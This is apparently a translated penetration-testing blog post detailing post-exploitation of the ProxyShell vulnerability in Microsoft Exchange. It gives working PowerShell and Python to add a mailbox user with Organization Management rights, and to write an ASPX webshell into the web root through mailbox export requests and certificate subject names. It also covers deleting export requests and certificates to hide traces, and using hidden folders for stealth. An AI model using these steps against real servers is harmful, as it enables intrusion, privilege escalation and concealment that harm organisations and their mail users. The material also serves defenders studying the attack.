0x00 Preface

---

This article will introduce the details of adding users and file writing in ProxyShell, analyzing exploitation approaches.

0x01 Introduction

---

This article will cover the following content:

  • Methods for adding users
  • Methods for file writing
  • Exploitation analysis

0x02 Methods for Adding Users

---

When executing PowerShell commands via PyPSRP, adding user operations cannot be performed

This is because passing Password values requires executing the PowerShell command convertto-securestring, which is not supported by Exchange PowerShell Remoting

For solutions, refer to Orange's approach: by invoking local PowerShell to ultimately achieve user addition

References:

https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

Note the following details:

1. Establish a local proxy server using Flask

Code reference:

https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py

In Python3 environment, change request.headers.iteritems() to request.headers.items()

If encountering load balancing, you can check the returned status code; if it's not 200, resend the data packet

Lines 28-34 can be replaced with the following code:

while True:
r = requests.post(powershell_url, data=data, headers=req_headers, verify=False)
if r.status_code == 200:
print("[+]" + r.headers["X-CalculatedBETarget"])
break
else:
print("[-]" + r.headers["X-CalculatedBETarget"])
req_headers = {}
for k, v in r.headers.items():
if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']:
continue
req_headers[k] = v

return r.content, r.status_code, req_headers

2. Invoke Local PowerShell

Command reference:

https://gist.githubusercontent.com/zdi-team/a2eb014d248e4e54a2ab4ba4ae3ac3cf/raw/af251aefc37a47489f43128832798a210393013a/P2O-Vancouver-2021-ProxyShell-snippet-8.ps1

Before invoking local PowerShell commands, the system requires the following configurations:

(1) Set network location

Do not select Public network; choose Home network or Work network

(2) Set administrator user password

Ensure the administrator user has a password set

(3) Enable WinRM service

winrm quickconfig

(4) Modify allowunencrypted property

PowerShell command is as follows:

cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
dir

(5) Set TrustedHosts

PowerShell command is as follows:

Get-Item WSMan:\localhost\Client\TrustedHosts
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'

After completing the above settings, you can establish a PowerShell session and execute Exchange PowerShell commands

Adding a user operation requires passing a securestring, which can be passed using the -ArgumentList parameter

Example command for adding a user:

$pwd=convertto-securestring Password123 -asplaintext -force;
$command = {New-Mailbox -UserPrincipalName [email protected] -OrganizationalUnit test.com/Users -Alias testuser1 -Name testuser1 -DisplayName testuser1 -Password $args[0];}
Invoke-Command -Session $session -ScriptBlock $command -ArgumentList $pwd

Example command for adding an administrator user:

$command = {Add-RoleGroupMember "Organization Management" -Member testuser1 -BypassSecurityGroupManagerCheck}
Invoke-Command -Session $session -ScriptBlock $command

0x03 File Writing Methods

---

1. Writing files via New-MailboxExportRequest

New-MailboxExportRequest is used to export emails. For related usage, refer to the previous article "Penetration Basics – Searching and Exporting Emails from Exchange Servers"

When writing files, note the following issues:

(1) Users need to be added to the role group "Mailbox Import Export"

Example command for adding a user to the role group "Mailbox Import Export":

New-ManagementRoleAssignment –Role "Mailbox Import Export" –User Administrator

Example command for removing a user:

Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-Administrator" -Confirm:$false

Example command to view users in the role group "Mailbox Import Export":

Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user

(2) Delivering Payload via Email

There are two methods here:

1. Send an email containing the Payload from an external mailbox to the target mailbox

2. Exploit CVE-2021-34473 to impersonate any mailbox user and save the email containing the Payload to a specified folder

For method 2, to improve stealth, you can first create a hidden folder before saving the email containing the Payload. For details, refer to the previous article "Penetration Basics – Hidden Folders in Exchange User Mailboxes"

(3) Writing Files

To accurately write the Payload and avoid unexpected errors, include constraints when writing the email to export only emails containing the Payload

Example command for exporting emails:

New-MailboxexportRequest -mailbox "test1" -ContentFilter {(body -like "payload Flag")} -FilePath ("\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx")

(4) Clearing Export Requests

When executing the New-MailboxexportRequest command for export, the export request records are automatically saved, with a default retention period of 30 days

If you do not want to save the export request, you can add the parameter -CompletedRequestAgeLimit 0

Note: Related operations for export requests

View email export requests:

Get-MailboxExportRequest

Delete a specific export request:

Remove-MailboxExportRequest -RequestQueue "Mailbox Database 1111111111" -RequestGuid 11111111-1111-1111-1111-111111111111 -Confirm:$false
Remove-MailboxExportRequest -Identity 'test.com/Users/test1\MailboxExport' -Confirm:$false

Note:

Matching parameters are obtained from the results of Get-MailboxExportRequest|fl

Delete all export requests:

Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

2. Write to file via New-ExchangeCertificate

New-ExchangeCertificate is used to create and renew self-signed certificates

The earliest public exploitation method is in CVE-2020-17083, reference:

https://srcincite.io/pocs/cve-2020-17083.ps1.txt

(1) Deliver Payload

Pass the payload via the SubjectName parameter, which must comply with specific syntax, reference:

https://docs.microsoft.com/en-us/powershell/module/exchange/new-exchangecertificate?view=exchange-ps

Briefly, the following issues need attention:

  • You can use the fixed format: CN=Payload
  • Cannot contain these three special characters: , + ;

If you choose Jscript as the Payload, you can first Base64 encode the code to avoid special characters

When writing, if the returned content is Microsoft.Exchange.Data.BinaryFileDataObject, it indicates a successful write

(2) Clear certificates

Example command to read all certificates:

Get-ExchangeCertificate

Example command to match certificates with specific characteristics:

Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*'

Example command to delete a specific certificate:

Remove-ExchangeCertificate -Thumbprint 1111111111111111111111111111111111111111 -Confirm:$false
Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*' | Remove-ExchangeCertificate -Confirm:$false

0x04 Summary

---

During the research on ProxyShell, I had many new ideas, which I will share at an appropriate opportunity in the future.